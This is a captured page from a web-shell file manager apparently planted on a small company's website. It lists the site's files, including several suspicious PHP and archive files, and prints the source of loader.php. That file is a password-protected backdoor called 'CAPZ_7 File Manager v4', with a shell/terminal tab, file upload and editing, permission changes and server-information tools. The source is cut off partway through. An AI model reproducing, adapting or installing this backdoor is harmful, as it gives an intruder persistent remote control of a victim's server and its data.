Hackfut Security File Manager
Current Path:
/home/u126195517/domains/randhawadynamics.com/public_html
home
/
u126195517
/
domains
/
randhawadynamics.com
/
public_html
/
๐
..
๐
about.html
(522.44 KB)
๐
contact.html
(9.96 KB)
๐
css
๐
fonts
๐
images
๐
index.php
(19.56 KB)
๐
js
๐
js.php
(224.41 KB)
๐
loader.php
(166.31 KB)
๐
ourwork-logos.html
(15.48 KB)
๐
ourwork-photography-profile.html
(16.96 KB)
๐
ourwork-softwares.html
(38.52 KB)
๐
ourwork-websites.html
(37.46 KB)
๐
products-marketing.html
(22.12 KB)
๐
products-softwares.html
(24.3 KB)
๐
products-websites.html
(22.17 KB)
๐
rate-us.html
(1.89 KB)
๐
rateus.html
(13.06 KB)
๐
robots.txt
(74 B)
๐
services.html
(13.87 KB)
๐
shop
๐
w10
(1.81 KB)
๐
wp-blog.php
(1.81 KB)
๐
wp-blog.zip
(1.81 KB)
๐
wp-renkonmo.php
(34.33 KB)
๐
wp-the
(41.87 KB)
๐
wp-thi.gz
(32.41 KB)
๐
yef.txt
(1 B)
Editing: loader.php
<?php session_start(); $password = 'd0394cac3b218e5e801636723eadbd0e'; $is_logged_in = isset($_SESSION['fm_logged_in']) && $_SESSION['fm_logged_in'] === true; if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if (md5($_POST['password']) === $password) { $_SESSION['fm_logged_in'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $login_error = 'Password salah!'; } } // Proses login if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === $password) { $_SESSION['fm_logged_in'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $login_error = 'Password salah!'; } } // Jika belum login, tampilkan form login if (!$is_logged_in) { ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login - File Manager</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@300;400;500;600;700&family=DM+Sans:ital,opsz,wght@0,9..40,300;0,9..40,400;0,9..40,500;0,9..40,600;0,9..40,700;1,9..40,300&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"> <style> :root{ --bg:#080810;--s1:#0d0d1a;--s2:#111124;--s3:#161630;--s4:#1c1c3a; --b1:#1e1e3c;--b2:#272750;--b3:#353566; --v:#7c5cfc;--v2:#a080ff;--v3:#c4aaff; --c:#00f5c4;--c2:#4fffd8; --pk:#ff4d8d;--pk2:#ff80aa; --y:#ffd166;--g:#39ff7e;--r:#ff3d6b;--o:#ff9800; --txt:#e0e0f0;--dim:#7070a0;--mute:#404068;--ghost:#22223a; --rad:14px;--rads:8px;--radp:5px;--tr:all .18s cubic-bezier(.4,0,.2,1); } *,*::before,*::after{box-sizing:border-box;margin:0;padding:0} html{scroll-behavior:smooth} body{background:var(--bg);color:var(--txt);font-family:'DM Sans',sans-serif;min-height:100vh;overflow-x:hidden;-webkit-font-smoothing:antialiased;display:flex;align-items:center;justify-content:center;padding:20px;} @keyframes float{0%,100%{transform:translateY(0px)}50%{transform:translateY(-20px)}} @keyframes pulse{0%{opacity:.5}50%{opacity:1}100%{opacity:.5}} @keyframes shimmer{to{background-position:200% center}} @keyframes glow{0%,100%{box-shadow:0 0 20px rgba(124,92,252,.3),0 0 40px rgba(0,245,196,.15)}50%{box-shadow:0 0 30px rgba(124,92,252,.5),0 0 60px rgba(0,245,196,.25)}} .bg-layer{position:fixed;inset:0;pointer-events:none;z-index:0;} .bg-layer::before{content:'';position:absolute;inset:0;background:radial-gradient(ellipse 90% 60% at 5% -10%,rgba(124,92,252,.18) 0%,transparent 55%),radial-gradient(ellipse 70% 80% at 100% 110%,rgba(0,245,196,.11) 0%,transparent 55%),radial-gradient(ellipse 60% 50% at 60% 55%,rgba(255,77,141,.07) 0%,transparent 55%);} .bg-grid{position:fixed;inset:0;pointer-events:none;z-index:0;background-image:linear-gradient(rgba(124,92,252,.04) 1px,transparent 1px),linear-gradient(90deg,rgba(124,92,252,.04) 1px,transparent 1px);background-size:40px 40px;} .bg-orbs{position:fixed;inset:0;pointer-events:none;z-index:0;overflow:hidden;} .orb{position:absolute;border-radius:50%;pointer-events:none;} .orb-1{width:300px;height:300px;background:radial-gradient(circle,rgba(124,92,252,.15),transparent);top:-150px;right:-150px;animation:float 6s ease-in-out infinite;} .orb-2{width:200px;height:200px;background:radial-gradient(circle,rgba(0,245,196,.12),transparent);bottom:-100px;left:-100px;animation:float 8s ease-in-out infinite 1s;} .orb-3{width:250px;height:250px;background:radial-gradient(circle,rgba(255,77,141,.1),transparent);top:50%;left:50%;transform:translate(-50%,-50%);animation:float 7s ease-in-out infinite 2s;} .login-wrapper{position:relative;z-index:1;display:flex;flex-direction:column;align-items:center;justify-content:center;min-height:100vh;width:100%;} .login-container { background:rgba(13,13,26,.85); border:1px solid var(--b1); border-radius:20px; box-shadow:0 0 60px rgba(124,92,252,.2),0 0 120px rgba(0,245,196,.1),inset 0 1px 1px rgba(255,255,255,.1); padding:clamp(30px,8vw,50px) clamp(25px,7vw,45px); width:100%; max-width:420px; backdrop-filter:blur(20px); position:relative; overflow:hidden; animation:glow 4s ease-in-out infinite; } .login-container::before{content:'';position:absolute;top:0;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent,rgba(124,92,252,.5),rgba(0,245,196,.5),rgba(255,77,141,.5),transparent);} .login-container::after{content:'';position:absolute;inset:0;border-radius:20px;padding:1px;background:linear-gradient(135deg,rgba(124,92,252,.2),rgba(0,245,196,.2));-webkit-mask:linear-gradient(#fff 0 0) content-box,linear-gradient(#fff 0 0);-webkit-mask-composite:xor;mask-composite:exclude;pointer-events:none;} .brand-login{display:flex;align-items:center;gap:clamp(12px,3vw,16px);margin-bottom:clamp(25px,6vw,35px);justify-content:center;flex-wrap:wrap;} .brand-logo-login{width:clamp(44px,12vw,56px);height:clamp(44px,12vw,56px);border-radius:14px;background:linear-gradient(135deg,var(--v),var(--c));display:flex;align-items:center;justify-content:center;font-size:clamp(1rem,3vw,1.4rem);color:#fff;box-shadow:0 0 24px rgba(124,92,252,.5),0 0 48px rgba(124,92,252,.2);flex-shrink:0;animation:float 4s ease-in-out infinite;} .brand-info{text-align:center;} .login-title { font-family:'Fira Code',monospace; font-size:clamp(1.4rem,5vw,2rem); font-weight:700; background:linear-gradient(120deg,var(--v) 0%,var(--c) 50%,var(--pk) 100%); background-size:200% auto; -webkit-background-clip:text; -webkit-text-fill-color:transparent; margin-bottom:4px; letter-spacing:-.02em; animation:shimmer 5s linear infinite; } .login-subtitle { color:var(--dim); text-align:center; font-size:clamp(0.65rem,2vw,0.75rem); letter-spacing:0.15em; text-transform:uppercase; font-family:'Fira Code',monospace; font-weight:300; } .form-wrapper{margin-bottom:clamp(20px,5vw,30px);} .form-group { margin-bottom:clamp(18px,4vw,24px); } label { display:block; margin-bottom:8px; color:var(--txt); font-weight:600; font-size:clamp(0.8rem,2vw,0.9rem); letter-spacing:0.02em; text-transform:uppercase; } .input-wrapper{position:relative;} input[type="password"] { width:100%; padding:clamp(10px,2vw,14px) clamp(12px,2vw,16px); background:rgba(17,17,36,.6); border:1.5px solid var(--b1); border-radius:10px; color:var(--txt); font-size:clamp(0.85rem,2vw,0.95rem); font-family:'DM Sans',sans-serif; transition:var(--tr); backdrop-filter:blur(10px); } input[type="password"]::placeholder{color:var(--mute);} input[type="password"]:focus { outline:none; border-color:var(--v); background:rgba(124,92,252,.08); box-shadow:0 0 0 3px rgba(124,92,252,.15),inset 0 0 12px rgba(124,92,252,.08); } .error-message { color:var(--r); font-size:clamp(0.8rem,2vw,0.9rem); margin-bottom:clamp(15px,4vw,20px); padding:clamp(10px,2vw,14px) clamp(12px,2vw,14px); background:rgba(255,61,107,.12); border:1px solid rgba(255,61,107,.3); border-radius:10px; text-align:center; display:flex; align-items:center; justify-content:center; gap:8px; animation:pulse 2s ease-in-out infinite; } .btn-login { width:100%; padding:clamp(10px,2.5vw,14px) clamp(16px,3vw,24px); background:linear-gradient(135deg,var(--v),#5c3de0); color:#fff; border:none; border-radius:10px; font-size:clamp(0.85rem,2vw,0.95rem); font-weight:700; font-family:'DM Sans',sans-serif; cursor:pointer; transition:var(--tr); box-shadow:0 2px 0 rgba(0,0,0,.4),0 0 0 1px rgba(124,92,252,.3),0 0 28px rgba(124,92,252,.35); letter-spacing:0.02em; text-transform:uppercase; position:relative; overflow:hidden; } .btn-login::before{content:'';position:absolute;inset:0;background:linear-gradient(135deg,rgba(255,255,255,.2),transparent);opacity:0;transition:opacity .3s;} .btn-login:hover { background:linear-gradient(135deg,var(--v2),var(--v)); transform:translateY(-2px); box-shadow:0 6px 20px rgba(124,92,252,.45),0 0 0 1px rgba(124,92,252,.5); } .btn-login:hover::before{opacity:1} .btn-login:active { transform:translateY(0); } @media(max-width:480px){ body{padding:16px;} .login-wrapper{padding:clamp(20px,5vw,40px) 0;} .login-container{border-radius:16px;} .brand-login{flex-direction:column;gap:clamp(8px,2vw,12px);} .brand-info{width:100%;} } @media(max-width:360px){ .login-title{font-size:1.3rem;} .login-container{padding:25px 20px;} } </style> </head> <body> <div class="bg-layer"></div> <div class="bg-grid"></div> <div class="bg-orbs"> <div class="orb orb-1"></div> <div class="orb orb-2"></div> <div class="orb orb-3"></div> </div> <div class="login-wrapper"> <div class="login-container"> <div class="brand-login"> <div class="brand-logo-login"><i class="fa-solid fa-terminal"></i></div> <div class="brand-info"> <div class="login-title">CAPZ_7</div> <div class="login-subtitle">File Manager</div> </div> </div> <?php if (isset($login_error)): ?> <div class="error-message"> <i class="fa-solid fa-exclamation-circle" style="font-size:0.9rem;"></i> <?php echo htmlspecialchars($login_error); ?> </div> <?php endif; ?> <div class="form-wrapper"> <form method="POST"> <div class="form-group"> <label for="password"><i class="fa-solid fa-lock"></i> Password</label> <div class="input-wrapper"> <input type="password" id="password" name="password" placeholder="Masukkan password..." required autofocus> </div> </div> <button type="submit" class="btn-login"><i class="fa-solid fa-sign-in-alt"></i> Login</button> </form> </div> </div> </div> </body> </html> <?php exit; } // Root directory = direktori tempat file ini berada $root_dir = realpath(__DIR__); if (!$root_dir) $root_dir = __DIR__; $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir; if (!$current_dir || !is_dir($current_dir)) $current_dir = $root_dir; // โโ LANGUAGE โโ FIX: Prioritas: GET > COOKIE > default 'id' $lang = 'id'; if (isset($_COOKIE['fm_lang']) && in_array($_COOKIE['fm_lang'], ['id','en'])) { $lang = $_COOKIE['fm_lang']; } if (isset($_GET['lang']) && in_array($_GET['lang'], ['id','en'])) { $lang = $_GET['lang']; setcookie('fm_lang', $lang, time()+86400*365, '/'); } $T = [ 'id' => [ 'title' => 'File Manager', 'brand_sub' => 'CAPZ_7 File Manager v4', 'folders' => 'folder', 'files' => 'file', 'free' => 'bebas', 'tab_files' => 'File', 'tab_upload' => 'Upload', 'tab_create' => 'Buat Baru', 'tab_zip' => 'ZIP', 'tab_search' => 'Cari', 'tab_terminal' => 'Terminal', 'tab_tools' => 'Tools', 'name' => 'Nama', 'size' => 'Ukuran', 'modified' => 'Diubah', 'mode' => 'Mode', 'action' => 'Aksi', 'open' => 'Buka', 'edit' => 'Edit', 'rename' => 'Rename', 'duplicate' => 'Duplikasi', 'download' => 'Unduh', 'copymove' => 'Salin/Pindah', 'delete' => 'Hapus', 'dl_zip' => 'Unduh ZIP', 'extract' => 'Ekstrak', 'upload_title' => 'Upload File', 'upload_hint' => 'Klik atau seret & lepas file di sini (multi file)...', 'upload_to' => 'File akan diupload ke', 'create_title' => 'Buat File / Folder Baru', 'new_file' => 'File baru', 'new_folder' => 'Folder baru', 'file_ph' => 'contoh: index.php', 'folder_ph' => 'contoh: assets', 'create_file' => 'Buat File', 'create_folder' => 'Buat Folder', 'zip_title' => 'Buat ZIP dari File', 'zip_name_ph' => 'nama-archive.zip', 'make_zip' => 'Buat ZIP', 'select_files' => 'Pilih file yang akan di-zip:', 'no_files' => 'Tidak ada file di folder ini.', 'search_title' => 'Cari File & Folder', 'search_ph' => 'Nama file atau folder...', 'search_btn' => 'Cari', 'search_reset' => 'Reset', 'search_in' => 'Mencari rekursif di', 'results_found' => 'hasil ditemukan', 'no_results' => 'Tidak ada hasil untuk', 'terminal_title'=> 'Terminal / Shell', 'terminal_warn' => 'Gunakan dengan bijak. Hanya untuk keperluan administrasi yang sah.', 'cmd_ph' => 'ls -la / pwd / whoami / cat file.php', 'run' => 'Jalankan', 'save' => 'Simpan', 'close' => 'Tutup', 'cancel' => 'Batal', 'apply' => 'Terapkan', 'lines' => 'baris', 'editing' => 'Sedang edit', 'close_editor' => 'Tutup Editor', 'rename_title' => 'Rename', 'new_name_ph' => 'Nama baru...', 'perm_title' => 'Ubah Permissions', 'perm_file' => 'File', 'perm_mode' => 'Mode (octal)', 'cm_title' => 'Salin / Pindah File', 'cm_file' => 'File', 'cm_dest' => 'Path tujuan', 'copy_here' => 'Salin ke sini', 'move_here' => 'Pindah ke sini', 'bulk_selected' => 'dipilih', 'bulk_delete' => 'Hapus', 'bulk_zip' => 'ZIP', 'bulk_cancel' => 'Batal', 'bulk_zip_title'=> 'ZIP File Terpilih', 'bulk_zip_name' => 'Nama ZIP', 'confirm_del_file' => 'Hapus file', 'confirm_del_folder'=> 'Hapus folder', 'confirm_del_bulk' => 'item yang dipilih? Tindakan ini tidak dapat dibatalkan.', 'confirm_and_contents' => 'dan isinya?', 'home' => 'Beranda', 'up' => 'Naik', 'refresh' => 'Refresh', 'list_view' => 'Daftar', 'grid_view' => 'Grid', 'os_kernel' => 'OS / Kernel', 'server_ip' => 'IP Server', 'remote_ip' => 'IP Remote', 'domain' => 'Domain ยท Host', 'disk_used' => 'Disk Digunakan / Total', 'server_time' => 'Waktu Server', 'empty_dir' => 'Folder ini kosong', 'cannot_read' => 'Tidak dapat membaca direktori', 'toast_success' => 'Berhasil', 'toast_error' => 'Gagal', 'shell_disabled'=> 'shell_exec DINONAKTIFKAN', 'shell_enabled' => 'shell_exec aktif', 'output_here' => 'Output perintah akan muncul di sini...', 'tab_hint' => 'Tab = indent | Ctrl+S = simpan', 'extract_zip' => 'Ekstrak ZIP', 'select_all' => 'Pilih semua', 'lang_toggle' => 'English', 'lang_icon' => '๐ฌ๐ง', 'current_path' => 'Path Saat Ini', // Tools 'tools_title' => 'Tools & Utilitas', 'tool_phpinfo' => 'PHP Info', 'tool_phpinfo_desc' => 'Lihat informasi PHP lengkap', 'tool_imgcomp' => 'Konversi Gambar', 'tool_imgcomp_desc' => 'Konversi & resize gambar', 'tool_base64' => 'Base64 Encoder/Decoder', 'tool_base64_desc' => 'Encode atau decode teks Base64', 'tool_hash' => 'Hash Generator', 'tool_hash_desc'=> 'Generate MD5, SHA1, SHA256', 'tool_htpasswd' => '.htpasswd Generator', 'tool_htpasswd_desc' => 'Buat password untuk .htpasswd', 'tool_cron' => 'Cron Expression', 'tool_cron_desc'=> 'Buat & uji cron expression', 'tool_chmod' => 'Chmod Calculator', 'tool_chmod_desc'=> 'Hitung nilai permission octal', 'tool_json' => 'JSON Formatter', 'tool_json_desc'=> 'Format & validasi JSON', 'tool_regex' => 'Regex Tester', 'tool_regex_desc'=> 'Uji regular expression PHP', 'tool_sysinfo' => 'System Info', 'tool_sysinfo_desc'=> 'Info lengkap server & PHP', 'encode' => 'Encode', 'decode' => 'Decode', 'generate' => 'Generate', 'format' => 'Format', 'test' => 'Uji', 'result' => 'Hasil', 'input' => 'Input', 'output' => 'Output', 'open_tool' => 'Buka', 'resize_width' => 'Lebar (px)', 'resize_height' => 'Tinggi (px)', 'img_quality' => 'Kualitas (1-100)', 'convert' => 'Konversi', 'select_image' => 'Pilih gambar', 'hash_text' => 'Teks untuk di-hash', 'subject' => 'String uji', 'pattern' => 'Pattern regex', 'matches' => 'Match ditemukan', 'no_match' => 'Tidak ada match', 'tool_uuid' => 'UUID Generator', 'tool_uuid_desc'=> 'Generate UUID v4 random', 'tool_urlenc' => 'URL Encoder/Decoder', 'tool_urlenc_desc'=>'Encode atau decode URL', 'tool_textstats'=> 'Text Statistics', 'tool_textstats_desc'=>'Hitung karakter, kata, baris', 'tool_passgen' => 'Password Generator', 'tool_passgen_desc'=>'Generate password aman acak', 'tool_timestamp'=> 'Timestamp Converter', 'tool_timestamp_desc'=>'Convert tanggal & timestamp', 'copy_to_clipboard' => 'Salin ke clipboard', ], 'en' => [ 'title' => 'File Manager', 'brand_sub' => 'Enhanced File Manager v4', 'folders' => 'folders', 'files' => 'files', 'free' => 'free', 'tab_files' => 'Files', 'tab_upload' => 'Upload', 'tab_create' => 'Create New', 'tab_zip' => 'ZIP', 'tab_search' => 'Search', 'tab_terminal' => 'Terminal', 'tab_tools' => 'Tools', 'name' => 'Name', 'size' => 'Size', 'modified' => 'Modified', 'mode' => 'Mode', 'action' => 'Actions', 'open' => 'Open', 'edit' => 'Edit', 'rename' => 'Rename', 'duplicate' => 'Duplicate', 'download' => 'Download', 'copymove' => 'Copy/Move', 'delete' => 'Delete', 'dl_zip' => 'Download ZIP', 'extract' => 'Extract', 'upload_title' => 'Upload Files', 'upload_hint' => 'Click or drag & drop files here (multi-file)...', 'upload_to' => 'Files will be uploaded to', 'create_title' => 'Create New File / Folder', 'new_file' => 'New file', 'new_folder' => 'New folder', 'file_ph' => 'e.g. index.php', 'folder_ph' => 'e.g. assets', 'create_file' => 'Create File', 'create_folder' => 'Create Folder', 'zip_title' => 'Create ZIP from Files', 'zip_name_ph' => 'archive-name.zip', 'make_zip' => 'Create ZIP', 'select_files' => 'Select files to ZIP:', 'no_files' => 'No files in this folder.', 'search_title' => 'Search Files & Folders', 'search_ph' => 'File or folder name...', 'search_btn' => 'Search', 'search_reset' => 'Reset', 'search_in' => 'Searching recursively in', 'results_found' => 'results found', 'no_results' => 'No results for', 'terminal_title'=> 'Terminal / Shell', 'terminal_warn' => 'Use responsibly. For authorized administration only.', 'cmd_ph' => 'ls -la / pwd / whoami / cat file.php', 'run' => 'Run', 'save' => 'Save', 'close' => 'Close', 'cancel' => 'Cancel', 'apply' => 'Apply', 'lines' => 'lines', 'editing' => 'Editing', 'close_editor' => 'Close Editor', 'rename_title' => 'Rename', 'new_name_ph' => 'New name...', 'perm_title' => 'Change Permissions', 'perm_file' => 'File', 'perm_mode' => 'Mode (octal)', 'cm_title' => 'Copy / Move File', 'cm_file' => 'File', 'cm_dest' => 'Destination path', 'copy_here' => 'Copy here', 'move_here' => 'Move here', 'bulk_selected' => 'selected', 'bulk_delete' => 'Delete', 'bulk_zip' => 'ZIP', 'bulk_cancel' => 'Cancel', 'bulk_zip_title'=> 'ZIP Selected Files', 'bulk_zip_name' => 'ZIP Name', 'confirm_del_file' => 'Delete file', 'confirm_del_folder'=> 'Delete folder', 'confirm_del_bulk' => 'selected items? This action cannot be undone.', 'confirm_and_contents' => 'and all its contents?', 'home' => 'Home', 'up' => 'Up', 'refresh' => 'Refresh', 'list_view' => 'List', 'grid_view' => 'Grid', 'os_kernel' => 'OS / Kernel', 'server_ip' => 'Server IP', 'remote_ip' => 'Remote IP', 'domain' => 'Domain ยท Host', 'disk_used' => 'Disk Used / Total', 'server_time' => 'Server Time', 'empty_dir' => 'This folder is empty', 'cannot_read' => 'Cannot read directory', 'toast_success' => 'Success', 'toast_error' => 'Error', 'shell_disabled'=> 'shell_exec DISABLED', 'shell_enabled' => 'shell_exec enabled', 'output_here' => 'Command output will appear here...', 'tab_hint' => 'Tab = indent | Ctrl+S = save', 'extract_zip' => 'Extract ZIP', 'select_all' => 'Select all', 'lang_toggle' => 'Indonesia', 'lang_icon' => '๐ฎ๐ฉ', 'current_path' => 'Current Path', // Tools 'tools_title' => 'Tools & Utilities', 'tool_phpinfo' => 'PHP Info', 'tool_phpinfo_desc' => 'View full PHP information', 'tool_imgcomp' => 'Image Converter', 'tool_imgcomp_desc' => 'Convert & resize images', 'tool_base64' => 'Base64 Encoder/Decoder', 'tool_base64_desc' => 'Encode or decode Base64 text', 'tool_hash' => 'Hash Generator', 'tool_hash_desc'=> 'Generate MD5, SHA1, SHA256', 'tool_htpasswd' => '.htpasswd Generator', 'tool_htpasswd_desc' => 'Create password for .htpasswd', 'tool_cron' => 'Cron Expression', 'tool_cron_desc'=> 'Build & test cron expressions', 'tool_chmod' => 'Chmod Calculator', 'tool_chmod_desc'=> 'Calculate octal permission value', 'tool_json' => 'JSON Formatter', 'tool_json_desc'=> 'Format & validate JSON', 'tool_regex' => 'Regex Tester', 'tool_regex_desc'=> 'Test PHP regular expressions', 'tool_sysinfo' => 'System Info', 'tool_sysinfo_desc'=> 'Full server & PHP info', 'encode' => 'Encode', 'decode' => 'Decode', 'generate' => 'Generate', 'format' => 'Format', 'test' => 'Test', 'result' => 'Result', 'input' => 'Input', 'output' => 'Output', 'open_tool' => 'Open', 'resize_width' => 'Width (px)', 'resize_height' => 'Height (px)', 'img_quality' => 'Quality (1-100)', 'convert' => 'Convert', 'select_image' => 'Select image', 'hash_text' => 'Text to hash', 'subject' => 'Test string', 'pattern' => 'Regex pattern', 'matches' => 'Matches found', 'no_match' => 'No match', 'tool_uuid' => 'UUID Generator', 'tool_uuid_desc'=> 'Generate random UUID v4', 'tool_urlenc' => 'URL Encoder/Decoder', 'tool_urlenc_desc'=>'Encode or decode URL', 'tool_textstats'=> 'Text Statistics', 'tool_textstats_desc'=>'Count characters, words, lines', 'tool_passgen' => 'Password Generator', 'tool_passgen_desc'=>'Generate random secure password', 'tool_timestamp'=> 'Timestamp Converter', 'tool_timestamp_desc'=>'Convert dates & timestamps', 'copy_to_clipboard' => 'Copy to clipboard', ], ]; $t = $T[$lang]; // โโ TOOL ACTIONS (AJAX) โโ // Hash generator AJAX if(isset($_POST['tool_hash'])){ $txt = $_POST['hash_input'] ?? ''; echo json_encode(['md5'=>md5($txt),'sha1'=>sha1($txt),'sha256'=>hash('sha256',$txt),'sha512'=>hash('sha512',$txt)]); exit; } // Regex tester AJAX if(isset($_POST['tool_regex'])){ $pattern = $_POST['regex_pattern'] ?? ''; $subject = $_POST['regex_subject'] ?? ''; $result = ['matches'=>[],'count'=>0,'error'=>'']; if($pattern){ $r = @preg_match_all($pattern, $subject, $m); if($r === false){ $result['error'] = preg_last_error_msg(); } else { $result['count'] = $r; $result['matches'] = $m[0] ?? []; } } echo json_encode($result); exit; } // htpasswd AJAX if(isset($_POST['tool_htpasswd'])){ $user = trim($_POST['ht_user'] ?? ''); $pass = trim($_POST['ht_pass'] ?? ''); if(!$user||!$pass){echo json_encode(['error'=>'User/pass empty']);exit;} $hashed = password_hash($pass, PASSWORD_BCRYPT); echo json_encode(['line'=>"$user:$hashed"]); exit; } // Image convert AJAX if(isset($_POST['tool_imgconv']) && isset($_FILES['img_file'])){ $tmp = $_FILES['img_file']['tmp_name']; $type = exif_imagetype($tmp); $fmt = strtolower($_POST['img_fmt'] ?? 'png'); $w = intval($_POST['img_w'] ?? 0); $h = intval($_POST['img_h'] ?? 0); $q = intval($_POST['img_q'] ?? 85); if(!in_array($type,[IMAGETYPE_JPEG,IMAGETYPE_PNG,IMAGETYPE_GIF,IMAGETYPE_WEBP])){ echo json_encode(['error'=>'Unsupported image type']);exit; } $img = imagecreatefromstring(file_get_contents($tmp)); if(!$img){echo json_encode(['error'=>'Cannot load image']);exit;} $ow = imagesx($img); $oh = imagesy($img); if($w>0||$h>0){ if(!$w) $w = intval($ow*$h/$oh); if(!$h) $h = intval($oh*$w/$ow); $res = imagescale($img,$w,$h); } else { $res = $img; } ob_start(); switch($fmt){ case 'jpg': case 'jpeg': imagejpeg($res,null,$q);break; case 'gif': imagegif($res);break; case 'webp': imagewebp($res,null,$q);break; default: imagepng($res); } $data = ob_get_clean(); $mime = ($fmt==='jpg'||$fmt==='jpeg')?'image/jpeg':(($fmt==='gif')?'image/gif':(($fmt==='webp')?'image/webp':'image/png')); echo json_encode(['base64'=>base64_encode($data),'mime'=>$mime,'w'=>imagesx($res),'h'=>imagesy($res)]); imagedestroy($img); exit; } // UUID Generator AJAX if(isset($_POST['tool_uuid'])){ $count = intval($_POST['uuid_count'] ?? 1); if($count<1)$count=1;if($count>20)$count=20; $uuids = []; for($i=0;$i<$count;$i++){ $uuid = sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0x0fff) | 0x4000, mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff) ); $uuids[] = $uuid; } echo json_encode(['uuids'=>$uuids]); exit; } // URL Encoder/Decoder AJAX if(isset($_POST['tool_urlenc'])){ $txt = $_POST['urlenc_text'] ?? ''; $op = $_POST['urlenc_op'] ?? 'encode'; $result = ($op==='encode') ? rawurlencode($txt) : rawurldecode($txt); echo json_encode(['result'=>$result]); exit; } // Text Statistics AJAX if(isset($_POST['tool_textstats'])){ $txt = $_POST['stats_text'] ?? ''; $chars = strlen($txt); $charsnospace = strlen(preg_replace('/\s+/', '', $txt)); $words = count(array_filter(preg_split('/\s+/', trim($txt)))); $lines = count(array_filter(explode("\n", $txt))); $sentences = count(array_filter(preg_split('/[.!?]+/', $txt))); echo json_encode([ 'chars'=>$chars, 'charsnospace'=>$charsnospace, 'words'=>$words, 'lines'=>$lines, 'sentences'=>$sentences ]); exit; } // Password Generator AJAX if(isset($_POST['tool_passgen'])){ $len = intval($_POST['pass_len'] ?? 16); if($len<8)$len=8;if($len>64)$len=64; $lower = 'abcdefghijklmnopqrstuvwxyz'; $upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $digits = '0123456789'; $special = '!@#$%^&*-_+=?'; $all = $lower.$upper.$digits.(isset($_POST['pass_special'])?$special:''); $pass = ''; for($i=0;$i<$len;$i++){ $pass .= $all[mt_rand(0, strlen($all)-1)]; } echo json_encode(['password'=>$pass]); exit; } // Timestamp Converter AJAX if(isset($_POST['tool_timestamp'])){ $op = $_POST['ts_op'] ?? 'todate'; $val = $_POST['ts_val'] ?? ''; $result = ''; if($op==='todate' && is_numeric($val)){ $result = date('Y-m-d H:i:s', intval($val)); } else if($op==='totimestamp' && !empty($val)){ $ts = strtotime($val); if($ts!==false){$result = $ts;} } echo json_encode(['result'=>$result]); exit; } function fmt_size($b){ if($b<1024)return $b.' B'; if($b<1048576)return round($b/1024,1).' KB'; if($b<1073741824)return round($b/1048576,1).' MB'; return round($b/1073741824,1).' GB'; } function fa_icon($name){ $ext=strtolower(pathinfo($name,PATHINFO_EXTENSION)); $m=[ 'php'=>['fa-brands fa-php','#8892bf'], 'js' =>['fa-brands fa-js','#f7df1e'], 'ts' =>['fa-solid fa-code','#3178c6'], 'html'=>['fa-brands fa-html5','#e34c26'], 'htm'=>['fa-brands fa-html5','#e34c26'], 'css'=>['fa-brands fa-css3-alt','#264de4'], 'json'=>['fa-solid fa-code','#ffca28'], 'xml'=>['fa-solid fa-file-code','#ff6d00'], 'sql'=>['fa-solid fa-database','#00acc1'], 'jpg'=>['fa-solid fa-image','#ab47bc'], 'jpeg'=>['fa-solid fa-image','#ab47bc'], 'png'=>['fa-solid fa-image','#ab47bc'], 'gif'=>['fa-solid fa-image','#ab47bc'], 'svg'=>['fa-solid fa-bezier-curve','#ff7043'], 'webp'=>['fa-solid fa-image','#ab47bc'], 'mp4'=>['fa-solid fa-film','#ef5350'], 'mkv'=>['fa-solid fa-film','#ef5350'], 'avi'=>['fa-solid fa-film','#ef5350'], 'mp3'=>['fa-solid fa-music','#26c6da'], 'wav'=>['fa-solid fa-music','#26c6da'], 'zip'=>['fa-solid fa-file-zipper','#ffa726'], 'rar'=>['fa-solid fa-file-zipper','#ffa726'], 'tar'=>['fa-solid fa-file-zipper','#ffa726'], 'gz' =>['fa-solid fa-file-zipper','#ffa726'], 'pdf'=>['fa-solid fa-file-pdf','#f44336'], 'doc'=>['fa-solid fa-file-word','#2b579a'], 'docx'=>['fa-solid fa-file-word','#2b579a'], 'xls'=>['fa-solid fa-file-excel','#217346'], 'xlsx'=>['fa-solid fa-file-excel','#217346'], 'txt'=>['fa-solid fa-file-lines','#90a4ae'], 'log'=>['fa-solid fa-scroll','#78909c'], 'sh' =>['fa-solid fa-terminal','#66bb6a'], 'py' =>['fa-brands fa-python','#3572a5'], 'env'=>['fa-solid fa-lock','#ffca28'], ]; if(isset($m[$ext]))return $m[$ext]; return ['fa-solid fa-file','#607d8b']; } function breadcrumb_parts_full($current_path, $root_dir) { if (!$current_path) return []; $current_path = rtrim(str_replace('\\', '/', (string)$current_path), '/'); $is_windows = (DIRECTORY_SEPARATOR === '\\'); $parts = array_values(array_filter(explode('/', $current_path))); $crumbs = []; $built = ''; foreach ($parts as $i => $seg) { if ($is_windows && $i === 0) { $built = $seg; } else { $built .= '/' . $seg; } $realBuilt = realpath($built); if ($realBuilt !== false && $realBuilt !== null && $realBuilt !== '') { $normalizedPath = str_replace('\\', '/', $realBuilt); $clickable = is_dir($realBuilt); } else { $normalizedPath = $built; $clickable = false; } $crumbs[] = [ 'label' => $seg, 'path' => $normalizedPath, 'clickable' => $clickable, ]; } return $crumbs; } // FIX: redir selalu membawa lang parameter function redir($dir,$type,$msg,$extra=''){ global $lang; $url = "?dir=".urlencode((string)$dir)."&t_type=".urlencode($type)."&t_msg=".urlencode($msg)."&lang=".$lang.$extra; header("Location: $url"); exit; } $active_tab = isset($_GET['tab']) ? 